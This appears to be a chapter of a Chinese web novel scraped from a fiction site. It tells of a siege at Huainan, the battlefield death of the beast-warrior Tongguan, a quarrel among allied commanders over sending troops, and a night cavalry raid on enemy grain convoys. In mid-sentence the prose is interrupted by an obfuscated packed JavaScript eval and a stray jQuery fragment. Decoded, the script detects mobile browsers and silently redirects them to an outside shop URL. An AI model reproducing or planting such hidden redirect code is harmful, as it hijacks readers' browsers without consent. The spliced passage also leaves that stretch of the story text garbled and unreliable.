文趣网 > 其他小说 > 长安歌 > 24.第二十三回 潼关浴血酬忠勇 天明潜骑劫粮道
    诗曰:

    劲敌难缠苦围困,

    斗智交锋难破阵。

    计穷便思硬碰硬,

    奋赴敌阵不顾身。

    噩耗凶信遥入耳,

    双英慊隙陡然生。

    大难临前宜谨慎,

    亲趋前线议章程。

    话说吴越之地暂得安稳,关越授首,朝廷元气大伤,北顾无暇,一时无力再遣大军南征。方圆与顾风鹏于帐中筹画江南善后诸事,安顿降卒、梳理郡县、恢复民生,一一计议妥当。诸事既定,忽报唐惊弦遣使者赍书前来,书中恳请发兵驰援,又乞潼关出战相助。

    顾风鹏览罢来书,沉吟半晌,开口言道:“关越虽已覆灭,我部亦是伤亡颇重,不可轻动重兵。可命雍州调拨劲旅驰往驰援唐惊弦;吴越严守本境,不遣大军外出。如此内保腹地安稳,外解淮南危局。”

    方圆微微颔首:“便依万九筹划。我意欲另遣一队精锐,随同潼关前往驰援,不知万九以为如何?”

    顾风鹏略一思忖,便道:“可行。有这支精锐随行,前路多一分依仗,只是切记莫抽调过多人马,各处防务不可松懈。”

    方圆点头一笑,当即传令下去。不消数日,诸事料理齐备。一队精锐护卫着潼关,日夜兼程,赶奔淮南,来与唐惊弦会合。

    唐惊弦将她安顿于阔帐之内,静候雍州援军到来。此间不肯安歇,随即召集众将,齐聚中军大帐,共议破敌之策。

    众将齐聚帐下,唐惊弦端坐正中,目视案上舆图,说道:“南阳方定,端木珩根基未牢,依常理本不该大举南下。只是我军新遭挫败,元气受损,雍州援兵尚未抵达,各处城防空虚。端木珩足智多谋,必已探知我军虚实,难保她乘隙兴兵来犯。

    “我有一策,料敌调势,设虚局以缓兵。速遣细作潜入敌境,传言淮南西侧重镇守兵寡少、粮草充盈,诱她分兵来取。各处要道预先布设拒马壕沟,隘口暗藏强弩,待其偏师途经,伺机袭扰。

    “如此一来,端木珩必多有顾忌,不敢尽起全军直扑主城,可分散其兵力,与之长久相持,等候援军抵达,再图后计。”

    一牙将跨步出列,拱手禀道:“唐帅,恕末将直言。粮草丰厚而守兵寡弱,本就蹊跷。倘若端木珩识破此计,如何抵挡?”

    唐惊弦从容答道:“我本不指望她中计分兵,只凭这流言,添她心中疑虑。她若是佯作不知,统领全军径直来攻,外围伏兵不必死战,尽数撤回城关,合力守御;若是心存顾忌,遣人前来探查虚实,便已为我等挣得时日。”

    牙将听罢,拱手称:“唐帅英明!”

    当夜细作潜出城外,四散混入南阳地界,依计散播流言。

    未几消息传至端木珩耳中,她识破这是唐惊弦设下的虚局,不肯分大军前去攻取,只调拨少许轻骑往西镇巡查,主力仍旧屯守南阳,整饬兵马,囤积粮草,按兵不动。

    唐惊弦接探马回报,已知端木珩并未大举分兵。此番虚局虽未能诱敌出战,却也争得些许时日。她传令撤回隘口伏兵,加固城防,静候援军。

    两军连日对峙,唐惊弦趁间隙修缮城垣,屡次遣使催促援兵。

    未几,端木珩粮草齐备,引大军南下,直逼淮南城下,发兵猛攻。城上守军拼死抵御,伤亡渐增,守城之计渐渐捉襟见肘。

    城中守御日渐艰难,万般筹谋皆已用尽,唐惊弦再无它法,传令护卫随同潼关出城接战。

    只听她一声令下,城门缓缓开启。

    一凶兽身长八尺,遍体厚毛,獠牙森然,浑似一座移动山岳,伴着一众护卫,直撞敌阵而来。敌军望见城门大开,正要一窝蜂抢上,早被潼关迎面一冲,撞得人仰马翻。

    前排士卒挺盾来挡,怎禁得这般巨力?才一相交,盾牌登时粉碎,木片铁屑四下乱飞,尘土滚滚冲天。不少兵丁向后便倒,又遭巨足踏过,登时五脏碎裂。这凶兽所向无前,一路之上,士卒纷纷奔逃,但凡躲闪不及的,顷刻血溅黄沙。端的有诗为证:

    怒兽奔涛摧重阵,

    愤躯奋决起荒尘。

    獠牙如戟穿锋过,

    巨吼惊雷慑众人。

    长尾横扫荡千卒,

    梼杌狞睁双目瞋。

    碎胄穿甲全无顾,

    宛似尘间太岁神。

    眼见阵前死伤狼藉,两旁步卒急急合围,长枪银槊并举直刺,后阵弩手列阵,飞矢如雨齐来。潼关昂首一撞,獠牙挑开十余件锋刃,纵身向前猛突,竟把一众兵卒串在牙上。猛一摆头,尸身凌空甩出,砸向后面人马,马上兵士滚落尘埃,双腿立时折损。

    众兵奋力拦挡不住,连声呼号求援。军情层层向后传递,尚未抵达中军,二护法早已策马奔来。

    魏迟高举马鞭,厉声喝道:“便是你这孽畜加害江姨!今日取你性命,以祭江姨英灵!驾!”

    端木珩亦怒目扬鞭疾驰,沉声大喝:“弑师之仇,今日必报!”飞马逼近阵前,她掣出长刀,双腿一蹬马鞍,纵身跃离马背,利刃裹着熊熊烈火,当头直劈潼关!

    潼关偏过头,以獠牙横挡刀锋,此刻两柄双叉接踵刺来。潼关猛一运力,獠牙挑开端木珩长刀,却无暇旁顾,仓促抬臂硬受一叉。锋刃登时洞穿皮肉,鲜血顺着厚毛汩汩流淌。她厉声怒吼,蒲扇般巨掌狠狠拍落。

    潼关肌肉绷紧,双叉深深嵌在血肉之中,一时竟难以拔脱。魏迟无可奈何,只得弃了兵器,纵身腾挪,跃落地面。

    端木珩高声喝道:“谨慎行事,不可鲁莽!”说罢,再度挺刀进逼。

    潼关怒火冲天,如巨罴一般直立起身,掌间探出匕首似的锐爪,径直猛扑过去。金铁交鸣,那柄窄长刀竟硬生生架住这一击。端木珩扬声大喝:“趁此时机!”

    魏迟双手骤举,庚金之气源源汇聚,潼关臂间双叉震颤不止,剧痛穿心。她陡起滔天巨力,奋力一震,将端木珩掀飞数丈。双叉顺势脱出伤口,凌空一转,重回魏迟掌内。

    阵上三人鏖战,炎刃与金叉交击,巨躯凭岩力相抗,征尘四起,杀声震天,斗得难解难分。有词为证:

    赤刀炎光飞灼,金叉庚灵劈斫。红锋锐铁撼狞齿,燎原炬芒如天火,岩崩金石磨。

    天罡刃定山河,地煞锋镇稷国。万载幽幽承天诏,梼杌临世佐阎罗,碧血满城郭。

    词陈未尽。后方兵卒欲涌将上前助阵,尽数被魏迟厉声喝退。潼关孤身鏖战两员猛将,本无战术机变,只凭一身蛮力死斗。几番苦斗过后,已是气喘吁吁,遍体浴血,一身厚毛被猩红热血浸透,一缕缕黏贴在身躯之上。

    魏迟高声喝道:“你骁勇敢战,不施阴诡伎俩,我敬你是个猛士!奈何你受人驱策,大仇当前,我等不得不报!——怀瑾!”

    端木珩听得呼唤,当即暴冲而出,双手紧握刀柄,周身尽数汇拢炎火之气,下盘扎稳,携穿云裂石之势,挥刀重重斫下。潼关獠牙之上早已裂纹纵横,举头再去格挡,獠牙竟当场崩断,头颅中门全然暴露。便在此时,耳畔罡风呼啸,一柄飞叉裹挟庚金锐气,宛若长虹贯日,狠狠刺入潼关头颅。

    潼关发出一声凄厉长啸,拼尽残存余力挥掌拍向端木珩。奈何脑中剧痛彻骨,掌势行至半途,浑身气力骤然消散。端木珩趁势腾身跃起,刀光乍闪!

    潼关身首两分,双膝颓然一屈,跪倒沙场。万载梼杌,就此落幕。

    潼关既已殒命,两位护法也已是力竭神疲。眼见城池急切难破,麾下兵卒死伤累累,魏迟与端木珩对望一眼,见对方徐徐摇头。魏迟当即高举双叉,厉声高喊:“传令三军,暂且撤兵,来日再决一死战!”

    大军正要拔寨回撤,魏迟见潼关尸骸横卧沙场,惜她死战不屈,不肯叫身躯曝露荒野。便令亲卫取随军素毡,赴至阵前,将毡布盖于尸首,这才引军退走。

    待到敌军尽数退去,不多时,远方一彪人马疾驰而来。原来是唐惊弦不顾左右将官劝阻,亲率精锐,策马奔至阵前。

    行至尸首近处,唐惊弦勒住坐骑,翻身下马,大步上前蹲下身。见那素毡浸透鲜血,红透一片,她不由得偏过头,闭上双眼,黯然叹道:“皆是我谋算不周,害得你罹此惨祸。”

    众将一齐下马趋前,垂首默然,神色凄然。西风漫卷,遍地残戈断戟,远方旌旗猎猎飞扬。

    半晌,唐惊弦徐徐起身,传令道:“将潼关尸身运回城内,好生安置。”

    军士将潼关遗体抬回城中。因她身躯庞巨,匠人开凿巨石作为石椁,便用沙场那方染血素毡覆住躯体,安葬在城郊高地之上。

    唐惊弦率领诸将亲赴墓前,把酒遥相祭奠,一切仪礼不事铺张。巨石封合墓茔,立一方无字石碑,记下她沙场死战的功绩。

    凭吊已毕,怎奈兵戈未息。众人尽数敛去悲戚,折返城中,修缮城垣、整备甲兵,静候雍州援军赴援。

    未过多日,雍州兵马方才删删抵达。只是援军人数单薄,兼之淮南本军经此恶战死伤惨重,此番填补兵力,仅够稳住防务,全然无力举兵进讨。淮南危势未缓,依旧局促艰危。唐惊弦思虑再三,无有它策,只得遣使者星夜驰赴方圆麾下,恳切恳请再拨重兵驰援淮南。

    求援文书与潼关阵亡的噩耗一同传至吴越行营。方圆闻听噩耗,悲恸骤涌,浑身震颤,一时立身不稳,只觉头脑昏沉。亏得顾风鹏近身搀扶,方才勉力稳住身形,缓缓落座安身。

    顾风鹏心中虽怀悲戚,见友人哀恸难持,强振精神劝道:“寸中节哀!潼关殒命,诚可痛惜。奈何大敌犹在,淮南城防空虚,若不早作筹谋,祸乱临头,追悔莫及。故人已逝,你我砥砺而行,方不负潼关舍命一战。”

    方圆掌根抵在额间,胸腔起伏不定,失神许久,方才缓缓放下手。眸中漫起一层寒色,沉声说道:“雍州之兵已然派发,潼关也殒于阵前。吴越根基未固,哪有兵马任由她挥霍!她尚有两姊妹镇守潇湘,何不向她们讨要援军!”

    顾风鹏听出她言语间满是郁气,忙劝道:“寸中,休要被一腔怒气扰了判断。潇湘、淮南两地相隔辽远,水路盘绕交错,大军

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878245|212389||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    开拔,粮草舟船处处掣肘,这其中难处,你心中应当明白。”

    方圆听罢,断然反驳:“路途艰险我岂会不晓!吴越如今也是遍体伤痕,雍州兵已经派出去,潼关又死在阵前。我手里再无余兵可赔进去!淮南若是要我掏空本土去救,办不到。今日,大军我断不会再调!”

    顾风鹏听罢,默然良久,眉宇之间数度变幻。她长叹一口气,毅然言道:“寸中既不肯调拨吴越大军,那便由我亲率荆楚部曲,驰赴淮南。”

    方圆一言不发。

    顾风鹏见她默然不应,遂定下心计:“淮南一旦被破,唇亡齿寒,吴越亦不能安。事已至此,只得如此。”言毕,转身步向帐外。

    方圆蓦然开口将她唤住。顾风鹏脚步顿住,并不回头。

    方圆语调低沉,怅然道:“万九,我并非存心赌气。我只是……别无它法。”

    “我知道。”

    她未曾回看一眼,迈开大步,径直向帐外远去。

    正是:大难临头可奈何,甘持大义赴疆场。

    顾风鹏回帐便着手布置,当日传令荆楚兵马驰援淮南。她自带亲卫星夜驰赴淮南,欲与唐惊弦当面议事。

    二人相见叙谈,顾风鹏方才知晓,唐惊弦迫于危局,已然向潇湘两姊妹求援,潇湘兵马亦已启程赶来。

    几番周折,荆楚、潇湘两处兵马尽数调发。淮南本军经前番恶战元气大伤,不敢贸然出兵进击。

    数日过后,各路援军陆续齐集,宋天明、元畅也领兵赶到。四员大将会聚中军大帐,共商反击破敌之策。

    宋天明率先开言:“如今荆楚、潇湘援兵俱到,我军声势大震!端木珩那厮连番恶战,部曲早已疲敝。依我之见,不必迁延耽搁,速速整点兵马,径直与她对阵厮杀便是!”

    顾风鹏道:“只是各部远道来援,士卒疲困,军心未聚,贸然强攻,大为不妥。”

    宋天明搔首沉吟,转看唐惊弦。对方微微颔首,接言道:“淮南兵马前番折损过重,元气未复,委实不宜硬拼死战。”

    宋天明眉头一皱,问道:“也罢!依诸位之见,如今该当如何?”

    元畅从容开口言道:“强攻固是不可,却也不可坐守待敌。不若分拨一军,暗中袭扰对方粮道,疲其兵马;我等主力按甲不动,养精蓄锐。待敌兵粮草窘迫,人心浮动之时,再挥师出击,方可得万全。”

    宋天明听罢,摩拳擦掌:“此计倒是痛快!只是何人可以担此重任?”

    顾风鹏说道:“可拣选精锐轻骑,潜行袭掠。此事不可用大军,只需一支劲旅,反复骚扰,叫她不得安稳。”

    唐惊弦沉吟道:“此计稳妥,只是二护法麾下亦有能将,袭扰之人切不可大意,谨防反遭埋伏。”

    宋天明听罢,当即挺身开言:“这桩差事,便交付于我!管教办得妥当!”

    唐惊弦望着她,再三叮嘱:“你须谨记,只许袭扰,不可恋战。若撞见敌方大队人马,速速回兵,切莫贪功冒进,堕入圈套。”

    宋天明抱手应道:“不劳大姊多言!”

    她领命出帐,归到本营,即刻挑选一千轻骑,卸去重铠,只携弓刀,备下三日干粮。不张旗鼓,趁着夜色引军悄悄启程,专寻荒径潜行,避过敌军游骑哨探。

    一路之上,接连遣出斥候四下打探,将敌军粮运往来路径摸得一清二楚,遂引兵马伏于山林暗处。不多时,远远望见粮车络绎驰来。待车马行至近前,宋天明陡然自草丛中挺身而出,挺枪大喝:“姊妹们,杀啊!”

    顷刻间,数百精锐齐齐现身,刀枪映日,寒光森森,冲杀而下。运粮士卒猝不及防,心慌胆裂,无从抵挡,顷刻之间便被纷纷斩杀。

    宋天明厉声再喝:“速退!备火矢!”

    众军士闻声齐进,燃矢飞射,点点火雨落于粮车之上。粮草本是柴薪粮秣,遇火即燃,刹那烈焰腾空,遍野通红。残余敌兵奔走不及,尽被火海吞噬。

    宋天明见功成,即刻传令:“毋得逗留,速速撤兵!”

    全军得令,尽数退入山林,步履迅捷,片刻隐去形迹。待敌方援军赶至,林间早已空无一人,只剩满地焦烟残火,徒自叹息。

    端木珩本是善谋之人,连遭劫烧,心中早已看破。当即调遣兵马,于粮道要隘增设伏兵哨探,昼夜巡守,更改运粮时辰,分兵护卫辎重,层层布防。

    怎奈宋天明战法灵动,不拘一路、不泥一时。斥候四散打探,专寻防务疏漏之处下手。敌兵白日布防,她便夜出;要道重兵屯守,她便迂走荒径;遇护粮小队,便聚合骑兵骤然冲击,得手便走,绝不滞留。

    端木珩数度设下反劫埋伏,皆被她探知避开,徒劳无功。

    宋天明见功业已足,不复贪战,风风火火引兵回营缴令。

    及至帐中,宋天明备细禀过连日袭粮战况。唐惊弦心知端木珩粮草窘迫,必然心生急计,断无坐以待毙之理,遂邀众人重议御敌破局之策。

    未知后续攻守如何、战局何如,且听下回分解。